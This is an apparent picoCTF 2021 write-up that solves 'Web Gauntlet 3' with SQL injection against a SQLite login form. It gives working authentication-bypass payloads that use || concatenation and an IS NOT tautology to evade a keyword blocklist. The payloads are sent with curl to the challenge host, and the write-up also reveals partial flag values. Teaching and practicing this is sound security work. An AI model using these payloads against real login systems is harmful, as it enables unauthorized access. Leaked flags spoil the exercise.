Web Gauntlet 3 picoCTF 2021 Solution

Published: April 2, 2026

Description

Final boss! Log in as admin using the SQLite-backed login form. More keywords are filtered this time, and the combined username + password input is capped at 25 characters.

Visit /filter to see the full blocklist before attempting your bypass.

Open the challenge URL and check /filter to see blocked keywords.

bash
curl http://mercury.picoctf.net:<PORT_FROM_INSTANCE>/filter

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
The final gauntlet round blocks nearly all SQL keywords and restricts total input to 25 characters. The SQL Injection Payload Generator (Auth Bypass tab) shows the || concat variant that keeps the payload under the character limit. For the broader filter bypass library, see the SQL Injection for CTF guide.
  1. Step 1
    Enumerate the expanded blocklist
    Observation
    I noticed the challenge description mentioned a /filter endpoint and a 25-character cap, which suggested the first move was to enumerate the expanded blocklist before crafting any payload.
    GET /filter to see every blocked term. Compared to Web Gauntlet 2, this version adds =, >, <, ;, --, /*, and */ to the blocklist. Crucially, the || string-concatenation operator is still allowed, and so are IS NOT and GLOB. The twist is a hard 25-character limit on the combined username + password input.
    bash
    curl http://mercury.picoctf.net:<PORT_FROM_INSTANCE>/filter
    What didn't work first

    Tried: Trying the same 'ad'||'min' + OR 1=1 payload that worked in Web Gauntlet 2

    OR and = are both blocked in this round, so the tautology 'OR 1=1' is stripped before the query runs. The filter response at /filter explicitly lists both operators. You need a different always-true expression such as 'a' IS NOT 'b' that avoids every blocked keyword.

    Tried: Skipping /filter and guessing the blocklist from prior rounds

    Each Web Gauntlet round adds new blocked terms, so the prior-round blocklist is incomplete. This round adds =, >, <, ;, --, /*, and */ compared to Gauntlet 2. Crafting a payload without first checking /filter risks using operators that are now banned and receiving a silent login failure with no useful error message.

    Learn more

    Full blocklist. The filtered terms are: or and true false union like = > < ; -- /* */ admin. Everything else is fair game, including ||, IS NOT, GLOB, and the bitwise | operator.

    Strategy. The same || concatenation trick that cracked Gauntlet 2 still works here. The new challenge is staying within 25 total characters while also bypassing the password check without = or LIKE.

  2. Step 2
    Build 'admin' via || concatenation and bypass the password check
    Observation
    I noticed that the blocklist allowed || (concatenation) and IS NOT while banning OR, =, and LIKE, and that the 25-character cap forced a compact payload, which suggested splitting 'admin' with || and using 'a' IS NOT 'b' as the always-true password tautology to fit exactly within the limit.
    Split the blocked word admin across two string literals joined by ||: username adm'||'in. SQLite evaluates the concatenation before comparing, so the query sees username='admin' without the literal word ever appearing in your input. For the password, use IS NOT (not blocked) to construct a condition that is always true: a' IS NOT 'b. Together the two fields are 21 characters, well within the 25-character cap.
    bash
    # Username: adm'||'in   (9 chars)
    # Password: a' IS NOT 'b   (12 chars)
    # Total: 21 chars -- well within the 25-char limit
    
    curl -X POST http://mercury.picoctf.net:<PORT_FROM_INSTANCE>/login \
      --data-urlencode "username=adm'||'in" \
      --data-urlencode "password=a' IS NOT 'b"
    A successful login redirects to a page containing the flag.
    What didn't work first

    Tried: Using GLOB '*' as the tautology but exceeding the 25-character limit by choosing a long username split

    Both username splits ('adm'||'in' and 'ad'||'min') are 9 characters each. Combined with the 12-character password 'a' IS NOT 'b' the total is 21 characters, well within the 25-char cap. No alternative split is actually required by the character limit.

    Tried: Using 'OR 'a'='a or 1=1 as the password tautology since those patterns bypassed earlier gauntlet rounds

    Both = and OR appear on this round's blocklist, so either form is stripped from the input. The login silently fails and returns the login page again with no SQL error. IS NOT is the unblocked alternative: 'a' IS NOT 'b' evaluates to 1 (true) in SQLite without using any blocked operator.

    Learn more

    How the query looks to SQLite. The server likely runs something like:

    SELECT username, password FROM users
    WHERE username='adm'||'in'
      AND password='a' IS NOT 'b'

    adm'||'in evaluates to admin, matching the row. 'a' IS NOT 'b' is always TRUE (they are different strings), so the password condition is satisfied regardless of the stored password.

    Why IS NOT works as a truth bomb. Unlike = (blocked), IS NOT is SQLite's null-safe inequality operator. 'a' IS NOT 'b' is always 1 (true), giving us a tautology that replaces the blocked OR 1=1 pattern.

    25-character accounting. If the limit is tight, count carefully: adm'||'in is 9 characters, a' IS NOT 'b is 12 characters, summing to 21 (well within the 25-char cap). Alternative: username ad'||'min (9 chars) plus a shorter tautology like a' GLOB '* (10 chars) totals 19.

    See SQL injection for CTF for the broader operator substitution trick library.

Interactive tools
  • SQL Injection Payload GeneratorGenerate SQL injection payloads for auth bypass, UNION extraction, blind SQLi, NoSQL operator injection, and sqlmap commands. Supports MySQL, PostgreSQL, SQLite, and MSSQL.

Flag

Reveal flag

picoCTF{k3ep_1t_sh0rt_...}

Per-instance flag. All confirmed variants share the prefix k3ep_1t_sh0rt_ with a different hex hash suffix per team (e.g. fc8788aa1604881093434ba00ba5b9cd, ef4a5b40aa736f5016b4554fecb568d0, 30593712914d76105748604617f4006a).

Key takeaway

Defense-in-depth filters that block individual SQL keywords still fail because any SQL dialect contains dozens of semantically equivalent operators. When = and LIKE are blocked, IS NOT provides an always-true tautology; when OR is blocked, || concatenation reconstructs forbidden strings from allowed fragments. Character limits add friction but do not prevent injection, since payloads can be compressed by choosing shorter operator aliases. Parameterized queries remove the attack surface entirely by never interpolating user text into query syntax.

Related reading

Want more picoCTF 2021 writeups?

Tools used in this challenge

What to try next